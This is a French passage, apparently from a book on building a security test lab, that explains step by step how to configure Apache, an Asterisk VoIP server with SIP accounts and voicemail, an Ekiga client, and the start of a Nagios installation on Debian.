Apache. Le seul fichier pour le moment est charset, qui spécifie l’encodage à utiliser

par défaut.

mods-available contient la liste des modules d’Apache installés.

mods-enabled contient celle des modules utilisés.

sites-available contient la liste des vhosts installés.

sites-enabled contient celle des vhosts utilisés.

Nous pouvons commencer par ouvrir le fichier ports.conf :

Pour restreindre l’utilisation à une ou plusieurs interfaces, il nous suffit de les spécifier,

suivies du port. Il faut une directive Listen par interface.

Si le serveur est connecté avec une IP Internet et que nous souhaitons écouter sur cette

interface, nous ajouterons la directive Listen IP_Internet.

Si le serveur est connecté avec une IP locale et que nous souhaitons écouter sur cette

interface, nous ajouterons la directive Listen IP_locale.

Si nous souhaitons écouter sur un certain port, nous rajouterons Le_Port. Il est aussi

possible de ne spécifier que le port et de ne pas renseigner l’adresse IP : Listen

Le_Port.

Nous pourrons donc définir les interfaces en ouvrant le fichier ports.conf et en ajoutant :

#interface (local ou internet) connectée sur port standard

Listen X.X.X.X:80

# toutes les interfaces connectées sur port SSL

Listen 443

Le prochain fichier à éditer pour la configuration est le fichier apache2.conf.

L’explication de cette configuration se trouve dans le fichier ci-dessous :

# Répertoire racine du serveur

ServerRoot "/etc/apache2"

# Fichier de verrouillage (lock) du serveur

# IL DOIT SE TROUVER SUR LE DISQUE LOCAL

#<IfModule !mpm_winnt.c>

#<IfModule !mpm_netware.c>

LockFile /var/lock/apache2/accept.lock

#</IfModule>

#</IfModule>

# Fichier du PID: endroit où, à son démarrage, Apache doit stocker

# son numéro d’identification de processus

PidFile /var/run/apache2.pid

# Délai d’attente dépassé : nombre de secondes avant de recevoir

# et d’envoyer un message de "Délai d’attente dépassé" (timeout)

Timeout 300

# Connexion persistante : alloue ou non les requêtes persistantes

# (plus d’une requête par connexion).

# Mettre à "Off" pour désactiver.

KeepAlive On

# Nombre maximum de requêtes allouées durant une connexion persistante.

# 0 = non limité

# Il est recommandé de garder ce nombre assez haut pour des

# performances maximales

MaxKeepAliveRequests 100

# Nombre de secondes d’attente pour la prochaine requête

# d’un même client sur une même connexion avant un timeout

KeepAliveTimeout 15

# Configuration du mpm chargé

<IfModule mpm_prefork_module>

# Nombre de processus serveurs fils à créer au démarrage.

StartServers 5

# Nombre minimum de processus en attente d’intercepter des requêtes

MinSpareServers 5

# Nombre maximum de processus en attente

MaxSpareServers 15

# Nombre maximum de processus fils créés

# pour intercepter les requêtes simultanément

MaxClients 150

# Limite le nombre de requêtes qu’un processus fils intercepte

# durant son temps de vie. Si 0 alors le processus n’expirera jamais.

MaxRequestsPerChild 0

</IfModule>

<IfModule mpm_worker_module>

StartServers 2

MaxClients 150

# Nombre minimum de processus en attente d’intercepter les pics

# de requêtes

MinSpareThreads 25

# Nombre maximum de processus en attente

MaxSpareThreads 75

ThreadsPerChild 25

MaxRequestsPerChild 0

</IfModule>

# Utilisateur et Group sous lesquels les processus du serveur

# seront lancés

User www-data

Group www-data

# Fichier de restriction des accès

# non conseillé, préférer les directives internes au fichier

# de configuration

# voir [[http://httpd.apache.org/docs/2.2/howto/htaccess.html]]

AccessFileName .htaccess

# Les lignes suivantes empêchent les fichiers .htaccess et .htpasswd

# d’être vus par les clients Web (i.e. les navigateurs).

<Files ~ "ˆ\.ht">

Order allow,deny

Deny from all

Satisfy All

</Files>

# Restriction de la racine du serveur

<Directory />

Order Deny,Allow

Deny from all

Options None

AllowOverride None

</Directory>

# Fichier contenant la liste des conversions des extensions de fichiers

# vers le type de contenu.

# par défaut ce fichier est relié au contenu enregistré à l’IANA.

# http://www.iana.org/assignments/media-types/index.html.

TypesConfig /etc/mime.types

# définit le type par défaut des fichiers dont le type ne peut être

# déterminé par le serveur.

# Il convient de le mettre à "none" afin de ne pas fournir

# d’informations erronées.

DefaultType none

# Active la résolution DNS pour les noms d’hôtes

HostnameLookups Off

# chemin du fichier de log des erreurs du serveur.

ErrorLog /var/log/apache2/error.log

# niveau de log du serveur

# emerg Messages Urgents - Le système est inutilisable.

# alert Messages d’actions qui doivent être effectuées

# immédiatement.

# crit Messages critiques.

# error Messages d’erreurs.

# warn Messages d’avertissement.

# notice Messages normaux mais qui ont une utilité

# pour l’administrateur.

# info Messages d’informations.

# debug Messages de débogage

LogLevel warn

# format des lignes contenues dans les logs

# %a Adresse ip distante.

# %A Adresse ip local.

# %B Taille de la réponse en octets, excluant l’en-tête HTTP.

# %b Taille de la réponse en octets, excluant l’en-tête HTTP

# au format CLF.

# %{Foobar}C Contenu du cookie "Foobar" de la requête envoyée au

serveur.

# %D Le temps mis à servir la requête.

# %{FOOBAR}e Contenu de la variable d’environnement "FOOBAR".

# %f Nom du fichier.

# %h Hôte distant.

# %H Le protocole demandé.

# %{Foobar}i Le contenu de "Foobar": Ligne(s) d’en-tête de la requête

# envoyée au serveur.

# %l nom du fichier de log distant (de identd, s’il est

fourni).

# cela retournera un tiret tant que //mod_ident// n’est

# pas présent et //IdentityCheck// n’est pas mis à ON.

# %m Méthode de la requête.

# %{Foobar}n Contenu de la note "Foobar" provenant d’un autre module.

# %{Foobar}o Le contenu de "Foobar": Ligne(s) d’en-tête dans la réponse.

# %p Port canonique du serveur qui sert la réponse.

# %P Id du processus fils qui a servi la requête.

# %{format}P Id du processus ou du thread fils qui a servi la requête.

# Les formats valides sont pid, tid, et hextid.

# hextid nécessite APR 1.2.0 ou supérieur.

# %q Chaînes de la requête (commençant avec un ? si une chaîne

# de requête existe, sinon une chaîne vide).

# %r Première ligne de la requête.

# %s Statut. Pour les requêtes redirigées en interne, ceci est

# la requête originale --- %>s pour la dernière.

# %t Heure à laquelle la requête a été reçue (format standard

# anglais mois jour année).

# %{format}t L’heure, au format précisé, qui doit être dans les formats

# de strftime(3). (potentiellement localisé).

# %T Le temps mis pour répondre à la requête.

# %u Utilisateur distant (de l’authentification ; peut être

faux

# si le code de retour de statut (%s) est 401)

# %U Url demandée, n’inclut aucune chaîne de requête.

# %v Nom canonique de ServerName du serveur qui répond à

# la requête.

# %V Nom du serveur en fonction du paramètre UseCanonicalName.

# %X Statut de la connexion une fois la réponse envoyée.

# X = connexion annulée avant la réponse complète.

# + = la connexion peut être maintenue après l’envoi de

# la réponse.

# - = la connexion sera fermée après l’envoi de la réponse.

# %I Octets reçus, incluant l’en-tête et la requête, ne peut

être

# nul. Vous devez activer //mod_logio// pour l’utiliser.

# %O Octets envoyés, incluant l’en-tête, ne peut être nul.

# Vous devez activer //mod_logio// pour l’utiliser.

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""

combined

LogFormat "%h %l %u %t \"%r\" %>s %b" common

LogFormat "%{Referer}i -> %U" referer

LogFormat "%{User-agent}i" agent

# en-tête envoyé au client à propos du serveur

# Prod Server: Apache

# Major Server: Apache/2

# Minor Server: Apache/2.0

# Min Server: Apache/2.0.41

# OS Server: Apache/2.0.41 (Unix)

# Full (ou non spécifié) Server: Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2

ServerTokens Prod

# Pied de page renvoyé par le serveur

# utile pour déterminer quel serveur proxy génère une erreur, dans le cas

# où plusieurs serveurs sont utilisés

ServerSignature Off

# Inclusion des fichiers, contenus dans le dossier des mods, qui sont

# activés

Include /etc/apache2/mods-enabled/*.load

Include /etc/apache2/mods-enabled/*.conf

# Inclusion de l’ancien fichier de configuration d’Apache

# à des fins de compatibilités ascendantes.

Include /etc/apache2/httpd.conf

# Inclusion du fichier de configuration des adresses et ports

# sur lesquels le serveur sera à l’écoute

Include /etc/apache2/ports.conf

# Inclusion d’autres fichiers de configuration

Include /etc/apache2/conf.d/

# inclusion des configurations des sites actifs

Include /etc/apache2/sites-enabled/

# Directive des alias

<IfModule alias_module>

# alias des icônes d’Apache

# nom de l’alias, répertoire vers lequel pointe l’alias

Alias /icons "/usr/share/apache2/icons/"

<Directory "/usr/share/apache2/icons">

Options None

AllowOverride None

Order allow,deny

Allow from all

</Directory>

# alias pour awstats

Alias /awstats-icon "/usr/share/awstats/icon"

ScriptAlias /awstats "/usr/lib/cgi-bin/"

<Directory "/usr/share/awstats/icon">

Options None

#Indexes MultiViews

AllowOverride None

Order allow,deny

Allow from all

</Directory>

</IfModule>

# Types images d’icône

<IfModule mod_autoindex.c>

IndexOptions FancyIndexing VersionSort HTMLTable NameWidth=*

AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip

AddIconByType (TXT,/icons/text.gif) text/*

AddIconByType (IMG,/icons/image2.gif) image/*

AddIconByType (SND,/icons/sound2.gif) audio/*

AddIconByType (VID,/icons/movie.gif) video/*

AddIcon /icons/binary.gif .bin .exe

AddIcon /icons/binhex.gif .hqx

AddIcon /icons/tar.gif .tar

AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv

AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip

AddIcon /icons/a.gif .ps .ai .eps

AddIcon /icons/layout.gif .html .shtml .htm .pdf

AddIcon /icons/text.gif .txt

AddIcon /icons/c.gif .c

AddIcon /icons/p.gif .pl .py

AddIcon /icons/f.gif .for

AddIcon /icons/dvi.gif .dvi

AddIcon /icons/uuencoded.gif .uu

AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl

AddIcon /icons/tex.gif .tex

AddIcon /icons/bomb.gif core

AddIcon /icons/back.gif ..

AddIcon /icons/hand.right.gif README

AddIcon /icons/folder.gif ˆˆDIRECTORYˆˆ

AddIcon /icons/blank.gif ˆˆBLANKICONˆˆ

DefaultIcon /icons/unknown.gif

ReadmeName README.html

HeaderName HEADER.html

IndexIgnore .??* *~ *# RCS CVS *,v *,t

</IfModule>

# Type langages

<IfModule mod_mime.c>

AddType application/x-compress .Z

AddType application/x-gzip .gz .tgz

AddLanguage ca .ca

AddLanguage cs .cz .cs

AddLanguage da .dk

AddLanguage de .de

AddLanguage el .el

AddLanguage en .en

AddLanguage eo .eo

AddLanguage es .es

AddLanguage et .et

AddLanguage fr .fr

AddLanguage he .he

AddLanguage hr .hr

AddLanguage it .it

AddLanguage ja .ja

AddLanguage ko .ko

AddLanguage ltz .ltz

AddLanguage nl .nl

AddLanguage nn .nn

AddLanguage no .no

AddLanguage pl .po

AddLanguage pt .pt

AddLanguage pt-BR .pt-br

AddLanguage ru .ru

AddLanguage sv .sv

AddLanguage zh-CN .zh-cn

AddLanguage zh-TW .zh-tw

</IfModule>

# Langue prioritaire pour les pages de réponses (choisir l’ordre

# des langues des pages)

<IfModule mod_negotiation.c>

LanguagePriority fr ca cs da de el eo es et en he hr it ja ko ltz nl

nn no pl pt pt-BR ru sv zh-CN zh-TW

ForceLanguagePriority Prefer Fallback

</IfModule>

# Type d’encodage de caractères

<IfModule mod_mime.c>

AddCharset us-ascii .ascii .us-ascii

AddCharset ISO-8859-1 .iso8859-1 .latin1

AddCharset ISO-8859-2 .iso8859-2 .latin2 .cen



AddCharset ISO-8859-5 .iso8859-5 .cyr .iso-ru

AddCharset ISO-8859-6 .iso8859-6 .arb .arabic

AddCharset ISO-8859-7 .iso8859-7 .grk .greek

AddCharset ISO-8859-8 .iso8859-8 .heb .hebrew

AddCharset ISO-8859-9 .iso8859-9 .latin5 .trk


AddCharset ISO-8859-13 .iso8859-13




AddCharset ISO-2022-JP .iso2022-jp .jis

AddCharset ISO-2022-KR .iso2022-kr .kis

AddCharset ISO-2022-CN .iso2022-cn .cis

AddCharset Big5 .Big5 .big5 .b5

AddCharset cn-Big5 .cn-big5

# Pour le russe, plus d’un charset est utilisé (dépend du client

# le plus souvent)

AddCharset WINDOWS-1251 .cp-1251 .win-1251

AddCharset CP866 .cp866

AddCharset KOI8 .koi8

AddCharset KOI8-E .koi8-e

AddCharset KOI8-r .koi8-r .koi8-ru

AddCharset KOI8-U .koi8-u

AddCharset KOI8-ru .koi8-uk .ua

AddCharset ISO-10646-UCS-2 .ucs2

AddCharset ISO-10646-UCS-4 .ucs4

AddCharset UTF-7 .utf7



AddCharset UTF-16BE .utf16be

AddCharset UTF-16LE .utf16le


AddCharset UTF-32BE .utf32be

AddCharset UTF-32LE .utf32le

AddCharset euc-cn .euc-cn

AddCharset euc-gb .euc-gb

AddCharset euc-jp .euc-jp

AddCharset euc-kr .euc-kr

#Not sure how euc-tw got in - IANA doesn’t list it???

AddCharset EUC-TW .euc-tw

AddCharset gb2312 .gb2312 .gb

AddCharset iso-10646-ucs-2 .ucs-2 .iso-10646-ucs-2

AddCharset iso-10646-ucs-4 .ucs-4 .iso-10646-ucs-4

AddCharset shift_jis .shift_jis .sjis

AddHandler type-map var

AddType text/html .shtml

AddOutputFilter INCLUDES .shtml

</IfModule>

<IfModule mod_setenvif.c>

BrowserMatch "Mozilla/2" nokeepalive

BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0

force-response-1.0

BrowserMatch "RealPlayer 4\.0" force-response-1.0

BrowserMatch "Java/1\.0" force-response-1.0

BrowserMatch "JDK/1\.0" force-response-1.0

BrowserMatch "Microsoft Data Access Internet Publishing

Provider" redirect-carefully

BrowserMatch "MS FrontPage" redirect-carefully

BrowserMatch "ˆWebDrive" redirect-carefully

BrowserMatch "ˆWebDAVFS/1.[012]" redirect-carefully

BrowserMatch "ˆgnome-vfs/1.0" redirect-carefully

BrowserMatch "ˆXML Spy" redirect-carefully

BrowserMatch "ˆDreamweaver-WebDAV-SCM1" redirect-carefully

</IfModule>

# module d’information sur le statut du serveur

<IfModule mod_status.c>

<Location /server-status>

SetHandler server-status

Order deny,allow

Deny from all

Allow from 127.0.0.1

</Location>

</IfModule>

# module des informations du serveur

<IfModule mod_info.c>

<Location /server-info>

SetHandler server-info

Order deny,allow

Deny from all

Allow from 127.0.0.1

</Location>

</IfModule>

Le fichier sites-available contient les différents vhosts que nous utiliserons.

Les vhosts nous permettent de définir plusieurs sites sur une même machine, le plus souvent

des sous-domaines (www.domain.tld, machin.domain.tld…), mais aussi d’autres domaines

(domain.tld, autredomain.tld…).

Nous pouvons donc ouvrir le fichier /etc/apache2/sites-available/default et le configurer

comme suit :

# NameVirtualHost définit les IPs à utiliser par apache,

# * signifie qu’on utilise n’importe quelle IP pour accéder au serveur

# 127.0.0.1 (boucle locale), 192.168.x.x (ip reseau local), ou une IP

# externe.

# Cette directive est en dehors du vhost, on pourrait donc la déplacer

# dans apache2.conf.

# Dans tous les cas, si elle est définie à *, elle ne doit pas être

# reprise dans les autres vhosts.

NameVirtualHost *:80

# Le vhost proprement dit : il est compris dans un bloc <VirtualHost>.

# Ces blocs définissent la "portée" de la validité des directives qui

# y sont définies.

# Le * derrière VirtualHost définit ici que le vhost est valable pour

# toutes les IP sur lesquelles Apache écoute.

<VirtualHost domain.tld:80>

# ServerName définit le nom utilisé pour le vhost. Mettez le nom

# de l’hôte du domaine

ServerName www.domain.tld

# ServerAlias définit les autres sous-domaines pour lesquels le

# serveur répondra.

ServerAlias domain.tld *.domain.tld

# ServerAdmin vous permet de spécifier un e-mail à utiliser en cas de

# problème, sur une page d’erreur 404 par exemple.

ServerAdmin [email protected]

# DocumentRoot définit le dossier racine dans lequel seront stockés

# les fichiers du site.

DocumentRoot /var/www/htdocs

# Directory définit les options par défaut du répertoire

<Directory /var/www/htdocs>

# Active les options:

# FollowSymLinks permet de suivre les liens symboliques.

# Indexes autorise le listage de fichiers

# d’un répertoire qui ne contient pas d’index.

Options Indexes FollowSymLinks MultiViews

# AllowOverride permet de surcharger certaines options

# en utilisant des fichiers .htaccess dans le

# répertoire du site.

AllowOverride None

# Droits par défaut

Order allow,deny

allow from all

# permet de rediriger les requêtes vers un fichier

# d’index précis

RedirectMatch ˆ/$ /index.php

</Directory>

ErrorLog /var/log/apache2/error.domain.tld.log

CustomLog /var/log/apache2/access.domain.tld.log combined

</VirtualHost>

Nous pouvons maintenant enregistrer ce fichier sous un autre nom (nouveau_host) et

supprimer default :

fasm#a2dissite default

et activer le nouveau fichier :

fasm#a2ensite nouveau_host

Nous pouvons éditer le fichier /etc/hosts et ajouter le « host » que nous venons de créer en

insérant cette ligne :

127.0.0.1 localhost nouveau_host

Pour finir, nous allons maintenant activer les scripts CGI. Pour cela, nous retournons dans le

fichier de conf apache2.conf et ajoutons :

ScriptAlias /cgi-bin/ /var/www/votre_site/cgi-bin/

<Directory /var/www/votre_site/cgi-bin/>

Options ExecCGI

AddHandler cgi-script cgi pl py

</Directory>

Notre configuration de base est terminée ; nous pouvons lancer le serveur :

fasm# /etc/init.d/apache2 start

Si la configuration est bonne, nous devrions avoir, en tentant de nous connecter avec un

navigateur web sur l’adresse IP de notre serveur, l’écran suivant :

Nous voici avec une machine virtuelle de plus configurée pour accueillir des sites web.

Serveur Asterisk

La VoIP (Voice over IP) est maintenant partout dans les entreprises et est donc une source de

failles potentielles. Il est nécessaire de pouvoir tester ces nouvelles technologies pour essayer

de comprendre leur fonctionnement et de voir ce qu’un pirate pourrait essayer de tenter pour

écouter une conversation, pénétrer le système ou altérer les données.

Nous allons donc installer Asterisk qui est le logiciel libre de VoIP le plus connu et le plus

utilisé.

1. Installation

Nous installons le paquet asterisk :

fasm#aptitude install asterisk

Une multitude de paquets seront installés, tous utiles pour asterisk.

2. Configuration

Deux fichiers seulement seront nécessaires pour un fonctionnement basique d’Asterisk : les

fichiers sip.conf et extensions.conf qui se trouvent dans /etc/asterisk/.

Nous nous contenterons de la configuration basique. Asterisk est très documenté et nous

pourrons aisément l’affiner si nous le souhaitons.

Les possibilités sont nombreuses, nous pourrons configurer un répondeur et un menu vocal

entre autres.

a. Sip.conf

Tous les comptes utilisateurs que nous voulons créer seront définis dans ce fichier. Nous n’en

déclarerons que deux pour cet exemple.

Supposons que le premier utilisateur est fasm et ajoutons la configuration ci-dessous dans le

fichier sip.conf :

[fasm]

type=friend

host=dynamic

user=fasm

secret=acissi

context=default

[fasm] est le début du bloc SIP. Les informations présentes après cette ligne concerneront le

compte de l’utilisateur fasm.

type=friend permet d’appeler et d’être appelé.

host=dynamic l’adresse IP du client est définie par DHCP. Si son IP était fixe, nous l’aurions

précisée ici.

user=fasm est le nom de l’utilisateur.

secret=acissi est le mot de passe en clair.

context=default est le contexte auquel le compte est associé dans le dialplan (servira pour le

fichier extensions.conf), le dialplan étant une suite d’instructions numérotées, que nous

verrons un peu plus loin dans le chapitre, qui seront exécutées dans un ordre précis.

Notez qu’en utilisant secret, le mot de passe est stocké en clair. Il est préférable d’utiliser

md5secret, qui, comme son nom l’indique, utilisera une empreinte md5. Voici la structure

nécessaire pour la génération du hash :

<user>:<realm>:<secret>

Par défaut, le realm est asterisk. Pour générer l’empreinte MD5 de l’utilisateur fasm qui a

pour mot de passe acissi avec bash, nous ferons donc :

$ echo -n "fasm:asterisk:acissi" | md5sum

43247d05bb29adf5e9c8aef26992fcfe -

Nous pouvons bien sûr affiner la configuration d’Asterisk pour ce fichier mais le but est ici

d’avoir une base fonctionnelle rapidement. Nous nous arrêterons donc là pour la configuration

de l’utilisateur fasm.

Nous pouvons faire de même pour un autre utilisateur.

[codej]

type=friend

host=dynamic

user=codej

secret=acissi

context=default

Nous pouvons passer à la configuration du deuxième fichier.

b. Extensions.conf

Ce fichier va nous permettre de définir le plan de la numérotation qui est appelé dialplan,

c’est-à-dire que l’on va définir les actions qui seront effectuées quand on composera un

numéro.

Cela sera de la forme :

[default]

exten => 555,1,Dial(SIP/fasm)

Le context ([default]) est une zone où la portée des actions est limitée.

Cela permet par exemple d’attribuer deux numéros identiques à des utilisateurs différents,

l’un ou l’autre sera contacté suivant le contexte défini dans le compte SIP de l’utilisateur

cherchant à les joindre.

Le fichier de configuration est assez difficile à lire au premier abord car il est très documenté.

Il nous faudra prêter attention à l’endroit où nous ajouterons la ligne ci-dessous. Il faudra bien

se trouver dans la partie [default].

La ligne contenant exten nous montre comment enregistrer une extension.

Nous commençons par le mot-clé exten suivi d’une flèche =>.

555 est le numéro que nous souhaitons associer, c’est le numéro que nous composerons sur le

téléphone.

1 est le numéro de séquence. Nous pouvons en effet ordonner plusieurs actions pour une

même extension, nous verrons cela un peu plus loin.

Dial(SIP/fasm) est l’action à effectuer. Nous appelons ici la fonction Dial(), qui déclenche

l’appel, avec pour argument SIP/fasm pour appeler le compte SIP fasm. Ici donc, pour tous

les utilisateurs du contexte default, composer le 555 appellera fasm.

Si nous souhaitons, avant d’appeler la personne, attendre quelques secondes, par exemple 3

secondes, nous allons chaîner les instructions :

[default]

exten => 100,1,Dial,wait(3)

exten => 100,2,Dial,SIP/fasm

Nous avons dans l’exemple ci-dessus une suite d’actions (1 et 2) mais nous pouvons chaîner

comme cela plusieurs actions, par exemple :

exten => 555,1,Answer

exten => 555,2,Playback(tt-weasels)

exten => 555,3,Voicemail(44)

exten => 555,4,Hangup

Quand 555 est appelé, Asterisk répond de lui-même (Answer) et joue une musique (tt-

weasels) et nous donne la possibilité de laisser un message (Voicemail) sur la boîte volale 44

et raccroche.

Les possibilités sont multiples créer un serveur vocal, rediriger les appels... Nous pouvons

approfondir la configuration si besoin car Asterisk est bien documenté, que ce soit sur Internet

ou en ouvrages aux Éditions ENI.

Revenons à présent à notre cas avec deux utilisateurs :

[default]

exten => 555,1,Dial(SIP/fasm)

exten => 556,1,Dial(SIP/codej)

Nous avons fait des changements dans les configurations des fichiers. Il nous faut à présent

que le système prenne en compte ces modifications.

Pour toute modification de sip.conf et de extensions.conf, il est nécessaire qu’Asterisk

recharge ces fichiers. Pour cela, nous nous connectons sur la console d’Asterisk :

# asterisk -rvvvvdddd (les v pour verbose, les d pour debug)

Puis nous rechargeons Asterisk :

reload

La commande suivante permet de recharger uniquement le dialplan (extensions.conf) :

dialplan reload

À ce moment-là, le serveur est opérationnel. fasm et codej possèdent un compte SIP et un

numéro associé.

3. Ajout de fonctions

Le transfert d’appel et la mise en attente sont souvent directement implémentés dans les

softphone (logiciels de téléphonie VoIP) et les terminaux SIP. Les manipulations suivantes

permettent de les activer directement dans Asterisk, ce qui permet de s’affranchir d’un

logiciel ou matériel particulier.

a. Transfert d’appel

Nous devons activer les tonalités DTMF (Dual-Tone Multi-Frequency) à la fois côté client et

côté serveur.

Le DTMF est une combinaison de fréquences utilisée pour la téléphonie moderne. Il est utilisé

quand nous composons les numéros de téléphone et il a permis la création des premiers

serveurs vocaux interactifs.

Pour Asterisk, il suffit d’ajouter la ligne suivante dans sip.conf, dans le contexte [general] ou

pour chaque utilisateur :

dtmfmode = rfc2833

Nous devrons regarder du côté des paramètres SIP du côté client pour activer cette option.

Pour activer le transfert d’appel, il suffit tout simplement de modifier les paramètres de la

fonction Dial dans extensions.conf :

exten => 555,2,Dial(SIP/fasm,,tT)

Après SIP/fasm, nous avons ajouté les options t et T qui autorisent l’appelé et l’appelant à

transférer l’appel.

Pour effectuer le transfert, il faut appuyer durant une communication sur le signe # (on entend

à ce moment-là « transfert ») suivi du numéro sur lequel on souhaite transférer l’appel.

b. Mise en attente

La mise en attente permet de mettre une communication en pause, ce qui peut parfois être très

utile pour ne pas perdre un client. Cela est très utile, car de ce fait, la ligne est libérée. Nous

pouvons alors composer un autre numéro ou récupérer l’appel sur un autre poste.

Il est là aussi nécessaire d’activer les tonalités DTMF.

Pour activer la mise en attente, il suffit d’ajouter la ligne suivante dans le contexte [default] du

fichier extensions.conf :

include=>parkedcalls

Pour mettre son interlocuteur en attente lors d’un appel, il faut composer le #700. Le serveur

attribue un numéro au sein du parc d’attente. On peut alors raccrocher, changer de poste et

reprendre l’appel en composant le numéro annoncé par le serveur.

c. Messagerie vocale

Si nous voulons que la voix de la messagerie soit en français, il faut le spécifier lors de la

compilation d’Asterisk à l’aide de la commande :

fasm$ make menuselect

Il faut ensuite ajouter dans le contexte [general] de sip.conf la ligne suivante :

language=fr

Nous pouvons créer ensuite une boîte vocale dans le fichier /etc/asterisk/voicemail.conf, dans

le contexte [default] :

100 => 1010,fasm, [email protected]

100 est le numéro de téléphone auquel on associe la boîte vocale.

1010 est le mot de passe de la messagerie.

Nous avons ensuite le nom de l’utilisateur ainsi que son adresse e-mail. L’e-mail servira à

l’alerter en cas de réception de message vocal, à condition qu’un MTA (Mail Transfert Agent)

soit correctement configuré comme postfix ou autre.

La boîte vocale est maintenant déclarée, il reste à l’inclure dans extensions.conf pour qu’elle

soit utilisée :

exten => 100,1,Dial(SIP/fasm, 10)

exten => 100,2,Voicemail(b101)

exten => 100,3,Hangup

La première action effectuée lorsque nous composons le 100 est l’appel de fasm. Le 10 situé

après la virgule est la temporisation avant de passer à la deuxième séquence. C’est pour cela

que nous avions mis deux virgules de suite dans la section transfert d’appel.

Une fois le timeout atteint, nous basculons sur la deuxième séquence, qui est l’appel de la

boîte vocale avec la fonction Voicemail.

Enfin, nous raccrochons avec la fonction Hangup.

Dès que le principe est bien compris, nous nous rendons compte qu’il existe une logique et il

suffit de s’en imprégner pour commencer à apprécier Asterisk.

d. Configuration du MTA pour la messagerie vocale

Il est très intéressant de passer par une alerte e-mail lors de la réception d’un message :

l’utilisateur est alors au courant du fait qu’il a un message, et peut l’écouter directement en

pièce jointe.

Nous retrouvons cela dans nos box (Livebox, Freebox...) où il nous est possible de recevoir un

e-mail quand un message est laissé sur le répondeur.

Nous avons déjà renseigné l’adresse e-mail de l’utilisateur dans voicemail.conf, il ne nous

reste plus qu’à configurer un MTA.

Exim4 est le MTA par défaut de Debian, nous l’utiliserons donc.

Nous allons commencer par reconfigurer exim4 :

dpkg-reconfigure exim4-config

Type de configuration : Distribution directe par SMTP (site Internet)

Nom de courriel du système :le FQDN

Liste d’adresses IP où Exim sera en attente de connexions SMTP

entrantes : 127.0.0.1

Autres destinations dont le courriel doit être accepté : vide

Domaines à relayer : vide

Machines à relayer : vide

Faut-il minimiser les requêtes DNS (connexions à la demande) ? Non

Méthode de distribution du courrier local : Format "mbox" dans

/var/mail

Faut-il séparer la configuration dans plusieurs fichiers ? Non

Le serveur e-mail va se relancer. Asterisk sera dès lors capable d’envoyer des e-mails d’alerte

avec le message vocal en pièce jointe.

Nous avons fait un tour, rapide malgré les apparences, des possibilités réelles d’Asterisk.

Nous pouvons créer, gratuitement et chez nous, un serveur VoIP avec toutes les options

imaginables. Il nous est même possible d’avoir deux serveurs à des endroits différents et de

pouvoir nous appeler entre nous en passant par ces serveurs.

4. Configuration d’un client SIP

Nous devons d’abord installer Ekiga sur le client :

fasm#aptitude install ekiga

Ekiga est un logiciel de téléphonie SIP et de visioconférence.

Au premier lancement d’Ekiga, un assistant de configuration en 8 étapes va nous être proposé.

Nous suivrons ce guide.

Pour l’instant, rien de particulier, il suffit de cliquer sur Forward.

Nous indiquons ici le nom que nous voulons donner à ce compte.

Nous cochons la case afin de ne pas créer de compte sur ekiga.net, ce n’est pas notre but ici.

Nous placerons ici bien sûr nos identifiants (compte et mot de passe) qui ont été configurés

dans sip.conf dans les sections précédentes.

Nous avons choisi ici LAN mais tout dépend de l’utilisation que nous voulons en faire (réseau

LAN, DSL …). Pour notre laboratoire, nous serons donc en LAN.

Cette configuration par défaut convient très bien pour la carte son du PC client, nous devrons

éventuellement l’adapter suivant le matériel du PC client.

La configuration est maintenant terminée et il ne reste plus qu’à se connecter sur le serveur

(ici, 192.168.1.3).

Nous pouvons créer un compte manuellement en allant dans Edition - Comptes puis

Comptes - Ajouter un compte SIP, et ensuite remplir comme suit :

Le registraire sera l’adresse IP de notre serveur Asterisk.

Nous avons maintenant toutes les cartes en main pour effectuer des appels et, à l’aide d’outils

spécialisés dans la Kali Linux (anciennement BackTrack), tenter des « man in the middle »,

du sniffing et autres...

Nagios

Nous venons d’installer différents services, chacun dans des machines virtuelles différentes.

Mais comment, à part l’interface de Proxmox, surveiller le fonctionnement de ces dernières et

voir les éventuels changements dans l’état des services ? Il nous faut superviser tout cela,

Nagios est fait pour nous.

Nagios est l’outil idéal de surveillance : nous pourrons à tout moment visualiser par exemple

l’arrêt d’un service ou son démarrage, ou toute autre modification sur un client distant

(ordinateur, switch, routeur...).

Nous voilà donc avec une nouvelle machine virtuelle avec une distribution Debian Squeeze

installée. La mise à jour a été effectuée.

Pour être sûr que nous pointons vers les bons dépôts, nous vérifierons que la liste des dépôts

dans /etc/sources.list est bien identique à celle-ci :

deb http://ftp.fr.debian.org/debian/ squeeze main

deb-src http://ftp.fr.debian.org/debian/ squeeze main

deb http://security.debian.org/ squeeze/updates main

deb-src http://security.debian.org/ squeeze/updates main

# squeeze-updates, previously known as ’volatile’

deb http://ftp.fr.debian.org/debian/ squeeze-updates main

deb-src http://ftp.fr.debian.org/debian/ squeeze-updates main

Nous pourrons installer Nagios de plusieurs façons différentes : soit en compilant les fichiers

sources que nous pouvons trouver sur le site de Nagios, soit en utilisant les dépôts officiels

(cela dépend donc de la distribution).

Nous allons donc voir par la suite ces deux méthodes.

1. Nagios avec les fichiers sources

a. Installation

Nagios dépend de nombreux paquets dans son fonctionnement. Nous commencerons donc

grâce à la commande aptitude ou apt-get par les installer.

fasm#aptitude install php5-gd postfix fping snmp ntp smbclient

nmap saidar traceroute php5-snmp curl gettext

Nous aurons aussi besoin de l’environnement de compilation :

fasm#aptitude install build-essential

Nous voilà prêts pour l’installation de Nagios.

Nagios a besoin d’un utilisateur pour fonctionner, mais aussi d’un répertoire local où seront

installés les fichiers de configuration et les binaires.

Nous créerons d’abord grâce à la commande mkdir le répertoire nagios dans /usr/local.

#fasm#mkdir /usr/local/nagios

Nous pouvons dès à présent créer un groupe nagios, un groupe nagcmd (commande

groupadd) et créer l’utilisateur nagios (commande useradd).

fasm#groupadd -g 9000 nagios

fasm#groupadd -g 9001 nagcmd

fasm#useradd -u 9000 -g nagios -G nagcmd -d /usr/local/nagios -c

"Nagios Admin" nagios

Les commandes ci-dessus sont bien sûr disponibles sur le site de Nagios

(http://www.nagios.org/) dans l’onglet Documentation.

Des librairies de développement sont aussi indispensables afin de pouvoir compiler Nagios :

